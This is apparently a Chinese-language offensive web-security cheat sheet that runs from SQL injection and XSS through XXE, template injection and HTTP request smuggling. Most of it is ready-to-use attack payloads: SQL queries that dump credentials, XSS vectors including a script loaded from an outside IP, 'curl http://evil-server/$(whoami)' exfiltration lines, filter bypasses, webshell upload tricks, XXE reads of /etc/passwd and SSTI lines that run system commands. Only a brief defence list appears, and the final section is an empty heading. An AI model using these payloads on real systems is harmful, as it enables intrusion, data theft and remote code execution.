# Web安全

## 0x01SQL注入

### 判断

* `'` / `"`
* `1/1`
* `1/0`
* `and 1=1`
* `" and "1"="1`
* `and 1=2`
* `or 1=1`
* `or 1=`
* `' and '1'='1`
* `+` `-` `^` `*` `%` `/`
* `<<` `>>` `||` `|` `&` `&&`
* `~`
* `!`
* `@`
* 反引号执行

### MYSQL

#### **显注**

```
判断站点表中有多少字段
order by 1#1可以变1-无穷
进行联合查询，来暴露可查询的字段编号
union select 1,2,3
查询当前数据库名
union select 1,database(),3
查询所有数据库名
union select 1,(select group_concat(schema_name) from information_schema.schemata),3
查询当前数据库所有表
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='DBname'),3
查询当前表所有字段名
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='DBname' and table_name=TABLEname),3
查询数据
union select 1,(select group_concat(username,0x7e,password,0x7e) from TABLEname),3
拓展
length()函数可返回字符串的长度
select length(database());
substring()函数可以截取字符串，可指定开始的位置和截取的长度
select substring('test',1,3);
ord()函数可以返回单个字符的ASCII码
select substring(database(),1,1);
char()函数可将ASCII码转换为对应的字符
select char(116);
```

#### **盲注**

```
判断数据库中表的数量
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1#
判断数据库名
1' and (ascii(substr((/*!database*/()),1,1))>64)#
1' and (ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))=1#
判断表名长度
1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1#
判断表名
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97#
判断表中的字段数
1' and (select count(column_name) from information_schema.columns where table_name='TABLEname')=1#
判断每个字段的长度
1' and length(substr((select column_name from information_schema.columns where table_name='TABLEname' limit 0,1),1))=1#
判断字段名
1' and ascii(substr((select column_name from information_schema.columns where table_name='TABLEname' limit 3,1),1,1))>97#
爆出数据
判断表中段的长度
1' and (select length(TABLEname) from users where COLUMNname=1)=5#
判断出段中数据名
1' and ascii(substr((select COLUMNSname from TABLEname limit 0,1),1,1))=97#
```

### SQL SERVER

#### **显注**

```
sysdatabases,sysobjects,syscolumns
查询所有的数据库名
select *from master..sysyatabases
查询数据库中所有的表名
select name from master..sysobjects where Xtypee = 'x' 
查询表中所有的列名
select * from databases..table
top和dbid可以一起用也可以只用一个排除默认表
查找回显点
union all select null,null,null;
查找数据库表名称
union select 1,‘2’,db_name()
select top 1 name from master..sysdatabases where dbid>4
获得表名
union select null,name,null from test.sys.sysobjects where xtype = ‘U’
union select top 1 null,name,null from test.sys.sysobjects where xtype = ‘U’ and name !=‘users’ and name !=’…’
select top 1 name from master..sysdatabases where dbid>4 and name<> 'DBname'
查看对应表有哪些列
union select top 1 null,name,null from test.sys.syscolumns where id = object_id(‘users’);
union select top 1 null,name,null from test.sys.syscolumns where id = object_id(‘users’) and name !=‘id’ and name !=’…’;
查看列信息
union select top 1 null,username,password from users
union select top 1 null,username,password from users where username !=‘zs’ and username !=’…’
```

#### **盲注**

```
判断是否是mssql
and user>0
and (select count(*) from sysobjects)>0     mssql
and (select count(*) from msysobjects)>0    access
查询当前用户数据信息
having 1=1–
猜表名
and exists(select * from tablename)
and (Select Count(*) from [表名])>0
猜字段
and (Select Count(字段名) from 表名)>0
暴当前表中的列
group by admin.username having 1=1–
猜字段中记录长度
and (select top 1 len(字段名) from 表名)>0
猜字段中的ascii值
and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 access
and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 mssql
测试权限结构（mssql）
and 1=(SELECT IS_SRVROLEMEMBER(‘sysadmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘serveradmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘setupadmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘securityadmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘diskadmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘bulkadmin’));–
and 1=(SELECT IS_MEMBER(‘db_owner’));–
mssql内置函数
and (select @@version)>0　　　获得Windows的版本号
and user_name()=’dbo’　　　　 判断当前系统的连接用户是不是sa
and (select user_name())>0　　爆当前系统的连接用户
and (select db_name())>0　　　得到当前连接的数据库
```

报错注入[MSSQL数据库注入](http://zone.secevery.com/article/1055)

### ORACLE

#### **显注**

```
order by
union select null,null,null from dual
union select null,null,(select banner from sys.v_$version where rownum=1) from dual
union select null,null,(select owner from all_tables where rownum=1) from dual
union select null,null,(select owner from all_tables where rownum=1 and owner <>'SYS' ) from dual
union select null,null,(select table_name from user_tables where rownum=1) from dual
union select null,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1) from dual
union select null,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and rownum=1)  from dual
union select null,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and column_name<>'USERNAME' and rownum=1) from dual
union select null,(SELECT CONCAT(USERNAME,PASSWORD) FROM ADMIN) from dual
union select null,(SELECT USERNAME FROM ADMIN),(SELECT PASSWORD FROM ADMIN) from dual
一些常用的查询语句：
当前用户：
SELECT user FROM dual;
列出所有用户：
SELECT username FROM all_users ORDER BY username;
列出数据库
SELECT DISTINCT owner FROM all_tables;
列出表名：
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
查询表所有列
SELECT column_name FROM all_tab_columns WHERE TABLE_NAME='ADMIN';
定位文件
SELECT name FROM V$DATAFILE;
```

暂时略，都会更新下来

## 0x02XSS

感谢原作创作不易

### 常用

```
<script>alert(/xss/)</script>
<svg onload=alert(document.domain)>
<img src=document.domain onerror=alert(document.domain)>
<M onmouseover=alert(document.domain)>M
<marquee onscroll=alert(document.domain)>
<a href=javascript:alert(document.domain)>M</a>
<body onload=alert(document.domain)>
<details open ontoggle=alert(document.domain)>
<embed src=javascript:alert(document.domain)>
```

### 大小写绕过

```
<script>alert(1)</script>
<sCrIpT>alert(1)</sCrIpT>
<ScRiPt>alert(1)</ScRiPt>
<sCrIpT>alert(1)</ScRiPt>
<ScRiPt>alert(1)</sCrIpT>
<img src=1 onerror=alert(1)>
<iMg src=1 oNeRrOr=alert(1)>
<ImG src=1 OnErRoR=alert(1)>
<img src=1 onerror="alert(&quot;M&quot;)">
<marquee onscroll=alert(1)>
<mArQuEe OnScRoLl=alert(1)>
<MaRqUeE oNsCrOlL=alert(1)>
```

### 各种alert

```
<script>alert(1)</script>
<script>confirm(1)</script>
<script>prompt(1)</script>
<script>alert('1')</script>
<script>alert("1")</script>
<script>alert`1`</script>
<script>(alert)(1)</script>
<script>a=alert,a(1)</script>
<script>[1].find(alert)</script>
<script>top["al"+"ert"](1)</script>
<script>top["a"+"l"+"e"+"r"+"t"](1)</script>
<script>top[/al/.source+/ert/.source](1)</script>
<script>top[/a/.source+/l/.source+/e/.source+/r/.source+/t/.source](1)</script>
```

### 伪协议

```
<a href=javascript:/0/,alert(%22M%22)>M</a>
<a href=javascript:/00/,alert(%22M%22)>M</a>
<a href=javascript:/000/,alert(%22M%22)>M</a>
<a href=javascript:/M/,alert(%22M%22)>M</a>
```

### Chrome XSS auditor bypass

```
?param=https://&param=@z.exeye.io/import%20rel=import%3E
<base href=javascript:/M/><a href=,alert(1)>M</a>
<base href=javascript:/M/><iframe src=,alert(1)></iframe>
```

### 长度限制

```
<script>s+="l"</script>
\...
<script>eval(s)</script>
```

### jquery sourceMappingURL

```
</textarea><script>var a=1//@ sourceMappingURL=//xss.site</script>
```

### 图片名

```
"><img src=x onerror=alert(document.cookie)>.gif
```

### 过期的payload

```
src=javascript:alert基本不可以用
css expression特性只在旧版本ie可用
```

### css

```
<div style="background-image:url(javascript:alert(/xss/))">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
```

### markdown

```
[a](javascript:prompt(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
![a'"`onerror=prompt(document.cookie)](x)
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
```

### iframe

```
<iframe onload='
    var sc   = document.createElement("scr" + "ipt");
    sc.type  = "text/javascr" + "ipt";
    sc.src   = "http://1.2.3.4/js/hook.js";
    document.body.appendChild(sc);
    '
/>
<iframe src=javascript:alert(1)></iframe>
<iframe src="data:text/html,<iframe src=javascript:alert('M')></iframe>"></iframe>
<iframe src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+></iframe>
<iframe srcdoc=<svg/o&#x6E;load&equals;alert&lpar;1)&gt;></iframe>
<iframe src=https://baidu.com width=1366 height=768></iframe>
<iframe src=javascript:alert(1) width=1366 height=768></iframe
```

### form

```
<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>M
<form><input formaction=javascript:alert(1) type=submit value=M>
<form><input formaction=javascript:alert(1) type=image value=M>
<form><input formaction=javascript:alert(1) type=image src=1>
```

### meta

```
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
```

## 0x03CSRF

这里只推荐工具吧

### 工具

{% embed url="<https://github.com/tgianko/deemon/>" %}

CSRFTester #需要抓包

burpsuite #需要抓包

## 0x04SSRF

### 可利用的点

```
Apache Hadoop远程命令执行
axis2-admin部署Server命令执行
Confluence SSRF
counchdb WEB API远程命令执行
dict
docker API远程命令执行
Elasticsearch引擎Groovy脚本命令执行
ftp / ftps（FTP爆破）
glassfish任意文件读取和war文件部署间接命令执行
gopher
HFS远程命令执行
http、https
imap/imaps/pop3/pop3s/smtp/smtps（爆破邮件用户名密码）
Java调试接口命令执行
JBOSS远程Invoker war命令执行
Jenkins Scripts接口命令执行
ldap
mongodb
php_fpm/fastcgi 命令执行
rtsp - smb/smbs（连接SMB）
sftp
ShellShock 命令执行
Struts2 命令执行
telnet
tftp（UDP协议扩展）
tomcat命令执行
WebDav PUT上传任意文件
WebSphere Admin可部署war间接命令执行
zentoPMS远程命令执行
写ssh公钥
写crontab
写WebShell
Windows写启动项
主从复制加载 .so 文件
主从复制写无损文件
```

### 其他利用协议

```
gopher
dict
dict
file
ftp
ftps
gopher
http
https
imap
imaps
ldap
pop3
pop3s
rtsp
scp
sftp
smtp
smtps
telnet
tftp
```

### 可能触发的点，也就是可能存在ssrf的参数位置

```
分享位置
转码服务
在线翻译
图片加载与下载或者任意下载文件的地方，同时也可能存在任意文件读取（任意文件下载）
收藏功能
api调用，这里也可能存在大量漏洞
```

### 代码审计点

```
file_get_contents,fsockopen,curl_exec
```

## 0x05命令注入

### 常见危险函数

#### **PHP**

* system
* exec
* passthru
* shell\_exec
* popen
* proc\_open

#### **Python**

* system
* popen
* subprocess.call
* spawn

#### Java

* java.lang.Runtime.getRuntime().exec(command)

### 常见注入方式

* 分号分割
* `||` `&&` `&` 分割
* `|` 管道符
* `\r\n` `%d0%a0` 换行
* 反引号解析
* `$()` 替换

#### 无回显技巧

* bash反弹shell
* DNS带外数据
* http带外

  &#x20;`curl http://evil-server/$(whoami)`

  &#x20;`wget http://evil-server/$(whoami)`
* 无带外时利用 `sleep` 或其他逻辑构造布尔条件

### **常见绕过方式**

#### **空格绕过**

* `<` 符号 `cat<123`
* `\t` / `%09`
* `${IFS}` 其中{}用来截断，比如cat$IFS2会被认为IFS2是变量名。另外，在后面加个$可以起到截断的作用，一般用$9，因为$9是当前系统shell进程的第九个参数的持有者，它始终为空字符串

#### **黑名单绕过**

* `a=l;b=s;$a$b`
* base64 `echo "bHM=" | base64 -d`
* `/?in/?s` => `/bin/ls`
* 连接符 `cat /etc/pass'w'd`
* 未定义的初始化变量 `cat$x /etc/passwd`

#### **长度限制绕过**

```
>wget\
>foo.\
>com
ls -t>a
sh a
```

### 常用符号

#### **命令分隔符**

* `%0a` / `%0d` / `\n` / `\r`
* `;`
* `&` / `&&`

#### **通配符**

* `*` 0到无穷个任意字符
* `?` 一个任意字符
* `[ ]` 一个在括号内的字符，e.g. `[abcd]`
* `[ - ]` 在编码顺序内的所有字符
* `[^ ]` 一个不在括号内的字符

#### **防御**

* 不使用时禁用相应函数
* 尽量不要执行外部的应用程序或命令
* 做输入的格式检查
* 转义命令中的所有shell元字符

  shell元字符包括 `#&;`,|\*?\~<>^()\[]{}$\`

## 0x06目录穿越

### Nginx Off by Slash

* `https://vuln.site.com/files../`

### URL参数

* `../`
* `..\`
* `..;/`

### UNC Bypass

* `\\localhost\c$\windows\win.ini`

### 过滤绕过

* 单次替换

  `...//`
* URL编码
* 16位Unicode编码

  `\u002e`
* 超长UTF-8编码

  `\%e0%40%ae`

## 0x07文件读取

### 读取可能有敏感信息的文件

#### 用户目录下的敏感文件

* .bash\_history
* .zsh\_history
* .profile
* .bashrc
* .gitconfig
* .viminfo
* passwd

#### 应用的配置文件

* /etc/apache2/apache2.conf
* /etc/nginx/nginx.conf

#### 应用的日志文件

* /var/log/apache2/access.log
* /var/log/nginx/access.log

#### 站点目录下的敏感文件

* .svn/entries
* .git/HEAD
* WEB-INF/web.xml
* .htaccess

#### 特殊的备份文件

* .swp
* .swo
* .bak
* index.php\~
* ...

#### Python的Cache

* `__pycache__\__init__.cpython-35.pyc`

## 0x08文件上传

### 文件类型检测绕过

#### **更改请求绕过**

有的站点仅仅在前端检测了文件类型，这种类型的检测可以直接修改网络请求绕过。 同样的，有的站点在后端仅检查了HTTP Header中的信息，比如 `Content-Type` 等，这种检查同样可以通过修改网络请求绕过。

#### **Magic检测绕过**

有的站点使用文件头来检测文件类型，这种检查可以在Shell前加入对应的字节以绕过检查。几种常见的文件类型的头字节如下表所示

| 类型  | 二进制值                          |
| --- | ----------------------------- |
| JPG | FF D8 FF E0 00 10 4A 46 49 46 |
| GIF | 47 49 46 38 39 61             |
| PNG | 89 50 4E 47                   |
| TIF | 49 49 2A 00                   |
| BMP | 42 4D                         |

#### **后缀绕过**

部分服务仅根据后缀、上传时的信息或Magic Header来判断文件类型，此时可以绕过。

php由于历史原因，部分解释器可能支持符合正则 `/ph(p[2-7]?|t(ml)?)/` 的后缀，如 `php` / `php5` / `pht` / `phtml` / `shtml` / `pwml` / `phtm` 等 可在禁止上传php文件时测试该类型。

jsp引擎则可能会解析 `jspx` / `jspf` / `jspa` / `jsw` / `jsv` / `jtml` 等后缀，asp支持 `asa` / `asax` / `cer` / `cdx` / `aspx` / `ascx` / `ashx` / `asmx` / `asp{80-90}` 等后缀。

除了这些绕过，其他的后缀同样可能带来问题，如 `vbs` / `asis` / `sh` / `reg` / `cgi` / `exe` / `dll` / `com` / `bat` / `pl` / `cfc` / `cfm` / `ini` 等。

#### **系统命名绕过**

在Windows系统中，上传 `index.php.` 会重命名为 `.` ，可以绕过后缀检查。 也可尝试 `index.php%20` ， `index.php:1.jpg` `index.php::$DATA` 等。 在Linux系统中，可以尝试上传名为 `index.php/.` 或 `./aa/../index.php/.` 的文件

#### **.user.ini**

在php执行的过程中，除了主 `php.ini` 之外，PHP 还会在每个目录下扫描 INI 文件，从被执行的 PHP 文件所在目录开始一直上升到 web 根目录（$\_SERVER\['DOCUMENT\_ROOT'] 所指定的）。如果被执行的 PHP 文件在 web 根目录之外，则只扫描该目录。 `.user.ini` 中可以定义除了PHP\_INI\_SYSTEM以外的模式的选项，故可以使用 `.user.ini` 加上非php后缀的文件构造一个shell，比如 `auto_prepend_file=01.gif` 。

### **WAF绕过**

有的waf在编写过程中考虑到性能原因，只处理一部分数据，这时可以通过加入大量垃圾数据来绕过其处理函数。

另外，Waf和Web系统对 `boundary` 的处理不一致，可以使用错误的 `boundary` 来完成绕过。

#### **竞争上传绕过**

有的服务器采用了先保存，再删除不合法文件的方式，在这种服务器中，可以反复上传一个会生成Web Shell的文件并尝试访问，多次之后即可获得Shell。

### 攻击技巧

#### **Apache重写GetShell**

Apache可根据是否允许重定向考虑上传.htaccess

内容为

{% tabs %}
{% tab title=".htaccess" %}

```
AddType application/x-httpd-php .png
php_flag engine 1
```

{% endtab %}
{% endtabs %}

就可以用png或者其他后缀的文件做php脚本了

#### **软链接任意读文件**

上传的压缩包文件会被解压的文件时，可以考虑上传含符号链接的文件 若服务器没有做好防护，可实现任意文件读取的效果

## 0x09文件包含

### 基础

常见的文件包含漏洞的形式为 `<?php include("inc/" . $_GET['file']); ?>`

考虑常用的几种包含方式为

* 同目录包含 `file=.htaccess`
* 目录遍历 `?file=../../../../../../../../../var/lib/locate.db`
* 日志注入 `?file=../../../../../../../../../var/log/apache/error.log`
* 利用 `/proc/self/environ`

其中日志可以使用SSH日志或者Web日志等多种日志来源测试

### 触发Sink

#### PHP

* include
  * 在包含过程中出错会报错，不影响执行后续语句
* include\_once
  * 仅包含一次
* require
  * 在包含过程中出错，就会直接退出，不执行后续语句
* require\_once

### 绕过技巧

常见的应用在文件包含之前，可能会调用函数对其进行判断，一般有如下几种绕过方式

#### **url编码绕过**

如果WAF中是字符串匹配，可以使用url多次编码的方式可以绕过

#### **特殊字符绕过**

* 某些情况下，读文件支持使用Shell通配符，如 `?` `*` 等
* url中 使用 `?` `#` 可能会影响include包含的结果
* 某些情况下，unicode编码不同但是字形相近的字符有同一个效果

#### **%00截断**

几乎是最常用的方法，条件是magic\_quotes\_gpc打开，而且php版本小于5.3.4。

#### **长度截断**

Windows上的文件名长度和文件路径有关。具体关系为：从根目录计算，文件路径长度最长为259个bytes。

msdn定义 `#define MAX_PATH 260`，其中第260个字符为字符串结尾的 `\0` ，而linux可以用getconf来判断文件名长度限制和文件路径长度限制。

获取最长文件路径长度：getconf PATH\_MAX /root 得到4096 获取最长文件名：getconf NAME\_MAX /root 得到255

那么在长度有限的时候，`././././` (n个) 的形式就可以通过这个把路径爆掉

在php代码包含中，这种绕过方式要求php版本 < php 5.2.8

#### **伪协议绕过**

* 远程包含: 要求 `allow_url_fopen=On` 且 `allow_url_include=On` ， payload为 `?file=[http|https|ftp]://websec.wordpress.com/shell.txt` 的形式
* PHP input: 把payload放在POST参数中作为包含的文件，要求 `allow_url_include=On` ，payload为 `?file=php://input` 的形式
* Base64: 使用Base64伪协议读取文件，payload为 `?file=php://filter/convert.base64-encode/resource=index.php` 的形式
* data: 使用data伪协议读取文件，payload为 `?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=` 的形式，要求 `allow_url_include=On`

#### **协议绕过**

`allow_url_fopen` 和 `allow_url_include` 主要是针对 `http` `ftp` 两种协议起作用，因此可以使用SMB、WebDav协议等方式来绕过限制。

## 0x10XXE

### 攻击方式

#### **拒绝服务攻击**

```
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>
```

若解析过程非常缓慢，则表示测试成功，目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归，也可引用巨大的外部实体，以实现攻击的效果。

#### **文件读取**

```
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
```

#### **SSRF**

```
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>
```

#### **RCE**

```
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">
      <description>&xxe;</description>
   </core>
</catalog>
```

#### **XInclude**

```
<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:include></data>
```

## 0x11模版注入

### 测试方法

* 确定使用的引擎
* 查看引擎相关的文档，确定其安全机制以及自带的函数和变量
* 需找攻击面，尝试攻击

### 测试用例

* 简单的数学表达式，`{{ 7+7 }} => 14`
* 字符串表达式 `{{ "ajin" }} => ajin`
  * Ruby
    * `<%= 7 * 7 %>`
    * `<%= File.open('/etc/passwd').read %>`
  * Java
    * `${7*7}`
  * Twig
    * `{{7*7}}`
  * Smarty
    * `{php}echo 'id';{/php}`
  * AngularJS
    * `$eval('1+1')`
  * Tornado
    * 引用模块 `{% import module %}`=> `{% import os %}{{ os.popen("whoami").read() }}`
  * Flask/Jinja2
    * `{{ config }}`
    * `{{ config.items()`}}
    * `{{get_flashed_messages.__globals__['current_app'].config}}`
    * `{{''.__class__.__mro__[-1].__subclasses__()}}`
    * `{{ url_for.__globals__['__builtins__'].__import__('os').system('ls') }}`
    * `{{ request.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}`
  * Django
    * `{{ request }}`
    * `{% debug %}`
    * `{% load module %}`
    * `{% include "x.html" %}`
    * `{% extends "x.html" %}`

## 0x12Xpath注入

### Xpath注入攻击原理

> XPath注入攻击主要是通过构建特殊的输入，这些输入往往是XPath语法中的一些组合，这些输入将作为参数传入Web 应用程序，通过执行XPath查询而执行入侵者想要的操作，下面以登录验证中的模块为例，说明 XPath注入攻击的实现原理。

在Web 应用程序的登录验证程序中，一般有用户名（username）和密码（password） 两个参数，程序会通过用户所提交输入的用户名和密码来执行授权操作。若验证数据存放在XML文件中，其原理是通过查找user表中的用户名 （username）和密码（password）的结果来进行授权访问，

例存在user.xml文件如下：

```
<users>
     <user>
         <firstname>Ben</firstname>
         <lastname>Elmore</lastname>
         <loginID>abc</loginID>
         <password>test123</password>
     </user>
     <user>
         <firstname>Shlomy</firstname>
         <lastname>Gantz</lastname>
         <loginID>xyz</loginID>
         <password>123test</password>
     </user>
```

则在XPath中其典型的查询语句为： `//users/user[loginID/text()='xyz'and password/text()='123test']`

但是，可以采用如下的方法实施注入攻击，绕过身份验证。如果用 户传入一个 login 和 password，例如 `loginID = 'xyz' 和 password = '123test'` ，则该查询语句将返回 true。但如果用户传入类似 `' or 1=1 or ''='` 的值，那么该查询语句也会得到 true 返回值，因为 XPath 查询语句最终会变成如下代码：`//users/user[loginID/text()=''or 1=1 or ''='' and password/text()='' or 1=1 or ''='']`

这个字符串会在逻辑上使查询一直返回 true 并将一直允许攻击者访问系统。攻击者可以利用 XPath 在应用程序中动态地操作 XML 文档。攻击完成登录可以再通过XPath盲入技术获取最高权限帐号和其它重要文档信息。

## 0x13逻辑漏洞 / 业务漏洞

### 简介

逻辑漏洞是指由于程序逻辑不严导致一些逻辑分支处理错误造成的漏洞。

在实际开发中，因为开发者水平不一没有安全意识，而且业务发展迅速内部测试没有及时到位，所以常常会出现类似的漏洞。

### 安装逻辑

* 查看能否绕过判定重新安装
* 查看能否利用安装文件获取信息
* 看能否利用更新功能获取信息

#### 交易

#### 购买

* 修改支付的价格
* 修改支付的状态
* 修改购买数量为负数
* 修改金额为负数
* 重放成功的请求
* 并发数据库锁处理不当

#### 业务风控

* 刷优惠券
* 套现

#### 账户

#### 注册

* 覆盖注册
* 尝试重复用户名
* 注册遍历猜解已有账号

#### 密码

* 密码未使用哈希算法保存

#### 邮箱用户名

* 前后空格
* 大小写变换

#### Cookie

* 包含敏感信息
* 未验证合法性可伪造

#### 手机号用户名

* 前后空格
* +86

#### 登录

* 撞库
* 账号劫持
* 恶意尝试帐号密码锁死账户

#### 找回密码

* 重置任意用户密码
* 密码重置后新密码在返回包中
* Token验证逻辑在前端
* X-Forwarded-Host处理不正确

#### 修改密码

* 越权修改密码
* 修改密码没有旧密码验证

#### 申诉

* 身份伪造
* 逻辑绕过

#### 更新

* ORM更新操作不当可更新任意字段
* 权限限制不当可以越权修改

#### 信息查询

* 权限限制不当可以越权查询
* 用户信息ID可以猜测导致遍历

#### 2FA

* 重置密码后自动登录没有2FA
* OAuth登录没有启用2FA
* 2FA可爆破
* 2FA有条件竞争
* 修改返回值绕过
* 激活链接没有启用2FA
* 可通过CSRF禁用2FA

#### 验证码

* 验证码可重用
* 验证码可预测
* 验证码强度不够
* 验证码无时间限制或者失效时间长
* 验证码无猜测次数限制
* 验证码传递特殊的参数或不传递参数绕过
* 验证码可从返回包中直接获取
* 验证码不刷新或无效
* 验证码数量有限
* 验证码在数据包中返回
* 修改Cookie绕过
* 修改返回包绕过
* 验证码在客户端生成或校验
* 验证码可OCR或使用机器学习识别
* 验证码用于手机短信/邮箱轰炸

#### Session

* Session机制
* Session猜测 / 爆破
* Session伪造
* Session泄漏
* Session Fixation

#### 越权

* 未授权访问
  * 水平越权
    * 攻击者可以访问与他拥有相同权限的用户的资源权限类型不变，ID改变
  * 垂直越权
    * 低级别攻击者可以访问高级别用户的资源权限ID不变，类型改变
* 交叉越权
  * 权限ID改变，类型改变

#### 随机数安全

* 使用不安全的随机数发生器
* 使用时间等易猜解的因素作为随机数种子

#### 其他

* 用户/订单/优惠券等ID生成有规律，可枚举
* 接口无权限、次数限制
* 加密算法实现误用
* 执行顺序
* 敏感信息泄露

### 配置安全

* 弱密码
  * 位数过低字符集小为常用密码个人信息相关手机号生日姓名用户名使用键盘模式做密码
* 敏感文件泄漏
  * .git.svn
* 数据库
  * Mongo/Redis等数据库无密码且没有限制访问
* 加密体系
  * 在客户端存储私钥
* 三方库/软件
  * 公开漏洞后没有及时更新

## 0x14中间件

* &#x20;IIS
  * IIS 6.0
  * &#x20;IIS 7.0-7.5 / Nginx <= 0.8.37
  * PUT漏洞
  * Windows特性
  * 文件名猜解
  * 参考链接
    * [利用Windows特性高效猜测目录](https://xz.aliyun.com/t/2318)
    * [Uploading web.config for Fun and Profit 2](https://soroush.secproject.com/blog/2019/08/uploading-web-config-for-fun-and-profit-2/)
* Apache
  * 后缀解析
  * .htaccess
  * 目录遍历
  * CVE-2017-15715
  * lighttpd
  * 参考链接
    * [Apache 上传绕过](https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html)
* 4.15.3. Nginx
  * Fast-CGI关闭
  * Fast-CGI开启
  * CVE-2013-4547
  * 配置错误
  * 参考链接
    * [CVE-2013-4547 Nginx解析漏洞深入利用及分析](http://www.91ri.org/9064.html)

## 0x15Web Cache欺骗攻击

### 漏洞利用

攻击者欺骗用户访问 `http://www.example.com/home.php/logo.png?www.myhack58.com` ,导致含有用户个人信息的页面被缓存，从而能被公开访问到。更严重的情况下，如果返回的内容包含session标识、安全问题的答案，或者csrf token。这样攻击者能接着获得这些信息，因为通常而言大部分网站静态资源都是公开可访问的。

### 漏洞存在的条件

漏洞要存在，至少需要满足下面两个条件：

1. web cache功能根据扩展进行保存，并忽略caching header;
2. 当访问如 `http://www.example.com/home.php/non-existent.css` 不存在的页面，会返回 `home.php` 的内容。

## 0x16HTTP 请求走私

### 攻击

#### **CL不为0的GET请求**

当前端服务器允许GET请求携带请求体，而后端服务器不允许GET请求携带请求体，它会直接忽略掉GET请求中的 `Content-Length` 头，不进行处理。例如下面这个例子：

```
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n
​
GET /secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n
```

前端服务器处理了 `Content-Length` ，而后端服务器没有处理 `Content-Length` ，基于pipeline机制认为这是两个独立的请求，就造成了漏洞的发生。

#### **CL-CL**

根据RFC 7230，当服务器收到的请求中包含两个 `Content-Length` ，而且两者的值不同时，需要返回400错误，但是有的服务器并没有严格实现这个规范。这种情况下，当前后端各取不同的 `Content-Length` 值时，就会出现漏洞。例如：

```
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n
​
12345\r\n
a
```

这个例子中a就会被带入下一个请求，变为 `aGET / HTTP/1.1\r\n` 。

#### **CL-TE**

CL-TE指前端服务器处理 `Content-Length` 这一请求头，而后端服务器遵守RFC2616的规定，忽略掉 `Content-Length` ，处理 `Transfer-Encoding` 。例如：

```
POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
```

#### **TE-TE**

TE-TE指前后端服务器都处理 `Transfer-Encoding` 请求头，但是在容错性上表现不同，例如有的服务器可能会处理 `Transfer-encoding` ，测试例如：

```
POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
```

## 0x17RPO相对路径覆盖攻击
